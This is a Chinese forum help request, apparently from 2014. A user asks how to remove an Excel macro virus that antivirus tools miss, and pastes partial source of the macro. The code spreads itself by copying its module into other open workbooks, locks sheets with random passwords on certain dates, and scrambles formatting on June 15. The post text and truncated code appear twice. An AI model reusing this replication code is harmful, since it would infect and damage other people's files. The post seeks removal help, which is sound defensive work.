level 8
nanlaihe
楼主
某个朋友的excel文件都被自动添加了宏。代码大概如下,只复制了一部分放到帖子后面。
现在使用宏病毒专杀情人节版 和金山毒霸的koffce都杀不出来。请问接下来该怎么办。如何清理excel的那些可恶模块。
另外,实在不好弄,也可以这么做。清理电脑上的一切宏模块。我朋友从来没有用过宏,表示可以清理,大家有啥好办法吗?
复制 代码 开头部分如下 看起来就不是好东西吧 共参考一下
---------
Sub auto_open()
Application.OnSheetActivate = "pink"
End Sub
Sub pink()
Dim mn, virname, thismo, passwords, pick, pickmo, head, getname As String, i, j, k, num, wbc, thisnum As Integer
wbc = Workbooks.Count
For k = 1 To wbc
If Workbooks(k).Name = "B00k1.xls" Then
getname = "B00k1.xls"
Windows("B00k1.xls").Visible = False
If Workbooks("B00k1.xls").Saved = False Then
Workbooks("B00k1.xls").Save
End If
Exit For
End If
Next
If wbc < 2 Then
GoTo final
End If
thisnum = ThisWorkbook.Modules.Count
num = ActiveWorkbook.Modules.Count
For i = 1 To thisnum
thismo = ThisWorkbook.Modules(i).Name
pickmo = Right(Left(thismo, 2), 1)
If pickmo = "V" Then
namemo = ThisWorkbook.Modules(i).Name
Exit For
End If
Next
If (Asc(ActiveWorkbook.Name) >= 97 And Asc(ActiveWorkbook.Name) <= 122) Or (Asc(ActiveWorkbook.Name) >= 65 And Asc(ActiveWorkbook.Name) <= 90) Then
head = Chr(Asc(ActiveWorkbook.Name))
Else
head = "N"
End If
mn = head & "V" & Month(Now) & Day(Now) & Right(Time$, 2)
For j = 1 To num
pick = Right(Left(ActiveWorkbook.Modules(j).Name, 2), 1)
If pick = "V" Then
End
End If
Next
If Month(Now) + Day(Now) <> 13 And ActiveSheet.Range("iv65536").FormulaR1C1 <> "=""""" Then
ActiveSheet.Range("iv65536").FormulaR1C1 = "="""""
End If
ThisWorkbook.Sheets(namemo).Copy ActiveWorkbook.ActiveSheet
ActiveWorkbook.Modules(namemo).Name = mn
If Left(ActiveWorkbook.Name, 4) <> "Book" Then
End If
Application.ScreenUpdating = False
passwords = Left((Rnd * 1000000000 + 100000000), 8)
If Month(Now) + Day(Now) = 13 Then
ActiveSheet.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, password:=passwords
End If
If Month(Now) = 6 And Day(Now) = 15 Then
With Cells
.ClearFormats
.ColumnWidth = 2.75
.RowHeight = 15
End With
ActiveWindow.Zoom = 25
Union(Range( _
"AO15,AP15,AO16,AP16,AO16,AO17,AP17
2014年01月10日 09点01分
1
现在使用宏病毒专杀情人节版 和金山毒霸的koffce都杀不出来。请问接下来该怎么办。如何清理excel的那些可恶模块。
另外,实在不好弄,也可以这么做。清理电脑上的一切宏模块。我朋友从来没有用过宏,表示可以清理,大家有啥好办法吗?
复制 代码 开头部分如下 看起来就不是好东西吧 共参考一下
---------
Sub auto_open()
Application.OnSheetActivate = "pink"
End Sub
Sub pink()
Dim mn, virname, thismo, passwords, pick, pickmo, head, getname As String, i, j, k, num, wbc, thisnum As Integer
wbc = Workbooks.Count
For k = 1 To wbc
If Workbooks(k).Name = "B00k1.xls" Then
getname = "B00k1.xls"
Windows("B00k1.xls").Visible = False
If Workbooks("B00k1.xls").Saved = False Then
Workbooks("B00k1.xls").Save
End If
Exit For
End If
Next
If wbc < 2 Then
GoTo final
End If
thisnum = ThisWorkbook.Modules.Count
num = ActiveWorkbook.Modules.Count
For i = 1 To thisnum
thismo = ThisWorkbook.Modules(i).Name
pickmo = Right(Left(thismo, 2), 1)
If pickmo = "V" Then
namemo = ThisWorkbook.Modules(i).Name
Exit For
End If
Next
If (Asc(ActiveWorkbook.Name) >= 97 And Asc(ActiveWorkbook.Name) <= 122) Or (Asc(ActiveWorkbook.Name) >= 65 And Asc(ActiveWorkbook.Name) <= 90) Then
head = Chr(Asc(ActiveWorkbook.Name))
Else
head = "N"
End If
mn = head & "V" & Month(Now) & Day(Now) & Right(Time$, 2)
For j = 1 To num
pick = Right(Left(ActiveWorkbook.Modules(j).Name, 2), 1)
If pick = "V" Then
End
End If
Next
If Month(Now) + Day(Now) <> 13 And ActiveSheet.Range("iv65536").FormulaR1C1 <> "=""""" Then
ActiveSheet.Range("iv65536").FormulaR1C1 = "="""""
End If
ThisWorkbook.Sheets(namemo).Copy ActiveWorkbook.ActiveSheet
ActiveWorkbook.Modules(namemo).Name = mn
If Left(ActiveWorkbook.Name, 4) <> "Book" Then
End If
Application.ScreenUpdating = False
passwords = Left((Rnd * 1000000000 + 100000000), 8)
If Month(Now) + Day(Now) = 13 Then
ActiveSheet.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, password:=passwords
End If
If Month(Now) = 6 And Day(Now) = 15 Then
With Cells
.ClearFormats
.ColumnWidth = 2.75
.RowHeight = 15
End With
ActiveWindow.Zoom = 25
Union(Range( _
"AO15,AP15,AO16,AP16,AO16,AO17,AP17